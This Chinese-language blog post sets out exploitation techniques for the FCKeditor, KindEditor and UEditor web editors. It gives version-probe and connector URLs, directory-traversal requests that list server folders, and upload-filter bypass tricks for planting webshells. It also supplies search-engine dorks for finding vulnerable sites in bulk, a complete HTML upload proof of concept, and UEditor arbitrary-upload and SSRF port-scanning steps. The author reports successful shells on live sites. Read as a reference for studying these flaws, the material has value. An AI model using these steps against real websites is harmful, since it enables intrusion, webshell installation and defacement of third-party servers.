三款主流编辑器漏洞整理分析

三款主流编辑器FCKeditor、Kindeditor和ueditor漏洞整理分析

一、FCKeditor

1.1 漏洞分析

1.查看版本号

/fckeditor/editor/dialog/fck_about.html
/fckeditor/_whatsnew.html

2.常见的测试上传地址

/FCKeditor/editor/filemanager/browser/default/connectors/test.html
/FCKeditor/editor/filemanager/upload/test.html
/FCKeditor/editor/filemanager/connectors/test.html
/FCKeditor/editor/filemanager/connectors/uploadtest.html

3.常见的上传地址

1)connector.aspx文件
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp2)browser.html文件
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php

4.列目录

修改CurrentFolder 参数使用 ../../来进入不同的目录
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
根据返回的XML 信息可以查看网站所有的目录。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
爆网站绝对路径
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/xx.asp&NewFolderName=x.asp
也可以直接浏览盘符:
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/
JSP 版本:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F

5.bypass

FCKeditor有些版本上传的文件例如:shell.php会变为shell_php
绕过:
(1)win系统环境下,提交shell.php+空格绕过
(2)上传shell.asp;.jpg变shell_asp;.jpg,然后继续上传同名文件可变为shell.asp;(1).jpg

FCKeditor v2.4.3中File类别默认拒绝上传类型:
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm 
但是保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension为后缀,
直接导致在win下在上传文件后面加个.来突破,也可以利用2003解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!

Fckeditor 2.0 <= 2.2允许上传asa、cer、php2、php4、inc、pwml、pht后缀的文件,也可以在win下在上传文件后面加个.来突破,在apache下,"Apache文件名解析缺陷漏洞"也可以利用,如上传cer文件

对于有些没有限制.htaccess文件上传成功到服务器的.htaccess文件里的代码可以让 .jpg后缀名文件格式的文件名以php格式解析,
先上传.htaccess文件,再上传图片马即可。

1.2漏洞利用

1、搜索引擎中批量搜索(FOFA,Google等):

inurl:Fckeditor/editor
app="CKEditor-fckeditor"

发现还能匹配到355个结果

可使用/fckeditor/_whatsnew.html查看版本号

也可使用/fckeditor/editor/dialog/fck_about.html查看

然后寻找上传点,直接上传aspx木马文件

成功连接

下面这个站无法直接上传木马,可以利用解析漏洞,先创建一个1.asp的文件夹,再上传图片马,即可。

二、 Kindeditor

小于等于4.1.5文件上传漏洞

2.1 漏洞分析

漏洞存在于小于等于kindeditor4.1.5编辑器中,但是有些>4.1.5的版本也是支持的。Kindeditor能够上传doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2,wps,pdf格式文件。支持Java、.NET、PHP、ASP等程序。html文件里面可以嵌套暗链接地址、自动跳转以及嵌套xss。
Kindeditor上的uploadbutton.html用于文件上传功能页面,直接POST到/upload_json.*?dir=file
然后我们可以看到file所支持的文件格式。

2.2 漏洞利用

1、搜索引擎中批量搜索(FOFA,Google等):

inurl:/examples/uploadbutton.html
inurl:/php/upload_json.php
inurl:/asp.net/upload_json.ashx
inurl://jsp/upload_json.jsp
inurl://asp/upload_json.asp
kindeditor

2、根本脚本语言自定义不同的上传地址,上传之前有必要验证文件 upload_json.* 的存在

/asp/upload_json.asp
/asp.net/upload_json.ashx
/jsp/upload_json.jsp
/php/upload_json.php

可目录变量查看是否存在那种脚本上传漏洞:

kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file

3、查看版本信息
http://www.xxx.org/kindeditor/kindeditor.js

4、版本是4.1.9可以进行尝试如下路径是否存在有必要验证文件 upload_json.*
kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file
5、如下图可以看出是存在上传点:

6、写出下面的构造上传poc,这里需要修改<script>...<script>以及url : 的内容,根据实际情况修改.然后保存为html

<html><head>

<title>Uploader</title>

<script src="http://ip/kindeditor/kindeditor.js"></script>

<script>

KindEditor.ready(function(K) {

var uploadbutton = K.uploadbutton({

button : K('#uploadButton')[0],

fieldName : 'imgFile',

url : 'http://ip/kindeditor/asp.net/upload_json.ashx?dir=file',

afterUpload : function(data) {

if (data.error === 0) {

var url = K.formatUrl(data.url, 'absolute');

K('#url').val(url);}

},

});

uploadbutton.fileBox.change(function(e) {

uploadbutton.submit();

});

});

</script></head><body>

<div class="upload">

<input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />

<input type="button" id="uploadButton" value="Upload" />

</div>

</body>

</html>

7、用浏览器打开上述html文件,上传想要上传的文件,可以在回包中看到成功上传txt文件

8、由于上传文件属性的限制,虽不能上传木马,但是危害也是极大的,许多党政机关的网站都因为该漏洞被植入了色情广告页面。

三、ueditor

存在漏洞版本:
net =1.3.6 || =1.5.0 || <=1.4.3 存在任意文件上传、存在盲ssrf、存在xml上传导致xss漏洞
php<=1.4.3 存在盲ssrf、存在xml上传导致xss漏洞
jsp<=1.4.3 存在盲ssrf、存在xml上传导致xss漏洞

3.1漏洞分析

3.1.1任意文件上传

1、漏洞存在于net/controller.ashx 文件,我们可以看到第14行接收了一个名为action参数。

2、然后action会通过switch case去判断,当action等于catchimage(远程文件抓取)时,

我们去CrawlerHandler中查看,我们发现当Sources为空或长度为零时,返回"参数错误:没有指定抓取源"

3、当source的值不等于空的时候,就执行下面代码

4、我们定位到Crawler方法处,65行是创建一个请求,将响应内容赋值给response

5、观察下面的这行代码,它的作用是从响应头里面的ContentType进行检索。就是去匹配是否有image这个内容。

6、如果是image,进入下面一行代码,会将文件保存在服务器中,所以只要自定义下ContentType:image/jpeg,就可以抓取任意类型的文件了,就造成了任意文件上传漏洞

3.1.2ssrf

但是在小于1.4.3版本的时候,是没有进行过滤的,进而造成了ssrf漏洞。

在已修复ssrf漏洞的版本,是会过滤ip的

3.2漏洞利用

在fofa搜索ueditor发现有464,288 条匹配结果,大部分是国内的网站

先访问下UEditor/controller.ashx?action=catchimage

使用hackbar发post包

成功上线

bypasswaf

利用ssrf漏洞可以探测 ip+端口,
将source[]=ip+端口,然后在bp的爆破模块进行爆破就可以了,
存在即返回200 不存在 即 返回500,但需注意的是没有漏洞的版本会200回包,但是state会返回INVALID_URL。
ssrf漏洞可以和内网一些redis、log4j等漏洞打组合拳,能够收获意想不到的结果

  • 发表于 2022-01-20 11:41:18
  • 阅读 ( 15469 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
吃肉不长胖
吃肉不长胖

2 篇文章

站长统计